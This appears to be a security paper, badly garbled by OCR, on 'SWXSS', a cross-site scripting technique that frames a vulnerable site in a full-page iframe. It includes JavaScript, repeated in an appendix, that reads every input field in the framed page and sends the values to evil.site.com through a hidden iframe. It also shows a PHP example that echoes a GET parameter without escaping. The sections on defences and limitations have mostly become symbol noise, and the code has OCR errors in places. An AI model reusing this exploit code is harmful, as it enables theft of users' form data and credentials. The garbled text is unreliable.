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Introduction
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What this paper shows
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What SWXSS could be used for
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How we did it
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html><body>
< ="http://evil.site.com/evil.js />

< ='http:// .site.com' id="X" height="100%"
width="100%"></iframe>
< ='http://evil.site.com/" height="0%" width="0%"

id="H'></iframe>
<script>devil();</script>
</body></html>




Unwrapping it
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01 <html>
102 <body>
103 <?php echo $_GET['vulnparam’]; ?>
104 <br>
105 <a href="index.php">click me</A>
106  </body>
107  </html>
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101 <script
| src="http://evil.site.com/evil.js'></script><script >su(‘http://vulnerable.site.com
B
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101 function su(myURL){

102  document.body.style.padding = 0;

103 document.body.style.margin = 0;

104 document.body.style.overflow = 'hidden’;

105 document.body.innerHTML=("<iframe src=" + myURL + " frameborder=0 id="pOwned'
| height="100%" width="100%"></iframe><iframe src="ht tp://evil.site.com/vuln'
: height="0%" width="0%'" id="POSTBACK"></iframe>");
106
107 addCallBack();
108 }
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addCallBack function

101 function addCallBack(){
102 el = document.getElementByld('pOwned’).contentWin dow;

104 if (el.addEventListener){
105 el.addEventListener('unload’, callBack, false);

106 }else {
107 el.attachEvent(‘'onunload’, callBack);
.08
109 }
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callBack function

101 function cb(){
102 var el = document.getElementByld('pOwned’);

103 var iA = getlfrmDoc(el).getElementsByTagName('i nput');

104 var pm = 'http://evil.site.com/vuln?url=" + el. contentWindow.location.href;
.05

106 for(i=0;i<iA.length;i++){

107 pm = pm + '&' + iA[i].name + '=' + iA[i].valu e;

:08 }
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109 document.getElementByld('POSTBACK").contentWind ow.location.href = pm;

511 var t = setTimeout('d();', 5000);
112}
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How to protect from SWXSS attacks
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Input validation

! " "$ # $ #
$ P #" % Q)4 ?# "
$ " $ #
% 1#" "
! $ " %
# # # "# $
s # "
# % # #
# " $#
# #
# $ # "% H#i
H#it # 1 $ !
! # #$ " %_5 # 1
Output validation
3 " "$# """ $ i " #
0 " "
3 ! $ # #
# # # " % /C)% C) # 1 RJ$# RSP, "RL,
$# RS P,
Cc 1 $ ! # $ "9 @)
Frame killing
! ! " % " $ H
"$% "$ 0 " $# """ $ #
6 # 1" 1 "
0 $ " % ! $
I (CD /C)a#t" " "# $
$ "$ " ! " I(CD
% - ! # T  $
# ! # $ $#



101 if (top.location != location) {
102 top.location.href = document.location.href ;

Known limitations with SWXSS
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Domain restrictions
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Browser compatibility

/ 0 -
+ 1 G -
+ 1 -
% % < (¢ -
% % ) 1
% % 7 ) 1
% % -
% % 7 -
2 ) 1
3" < 7 ) 1
3 G ) 1
4 M9 ) 1
4 M9 =
7 < C#3
7 < -
<) "Y1 $ i """ , 1# # # "!(CD
=@ "3 # " H# ! 1#" #" #"
$$ 0 $
Detection
" # I(C D $ Hit
# % 1
1 R o A# #
"H # #
$ # $ # #
# 0
! D1 # % ? ,
RE #,

%



Appendix A
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101 function getlfrmDoc(ifrm) {

102 var doc;

'03 if( ifrm.contentDocument )

104 doc = ifrm.contentDocument;

105 else if( ifrm.contentWindow )

106 Il For IE5.5 and IE6

107 doc = ifrm.contentWindow.document;
.08 else if( ifrm.document )

109 Il For IE5

110 doc = ifrm.document;
111 else //other browser
112 doc = ifrm.document;
113

114 return doc;

115 '}

116

17 function callBack(){
118 var el = document.getElementByld(‘pOwned’);

119 var iA = getlfrmDoc(el).getElementsByTagName('i nput');

120 var pm = 'http://evil.site.com/vuln?url=" + el. contentWindow.location.href;
121

122 for(i=0;i<iA.length;i++){

123 pm = pm + '&' + iA[i].name + '=' + iA[i].valu e;

124

125 document.getElementByld('POSTBACK").contentWind ow.location.href = pm;
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127 vart = setTimeout(‘addCallBack();', 5000);

128}

129

130 function addCallBack(){

131 el = document.getElementByld('pOwned’).contentWin dow;

132

133 if (el.addEventListener){
134 el.addEventListener('unload’, callBack, false);

135 }else{

136 el.attachEvent(‘'onunload’, callBack);
137}

138}

139

140 function su(myURL){

141  document.body.style.padding = 0;

142 document.body.style.margin = 0;

143  document.body.style.overflow = 'hidden’;

144 document.body.innerHTML = ("<iframe src=" + myUR L + " frameborder='0'

; id="pOwned' height="100%' width='100%'"></iframe><if rame

i src="http://evil.site.com/asd' height='0%" width="0 %' id='"POSTBACK'></iframe>");
145

146 addCallBack();

47 '}
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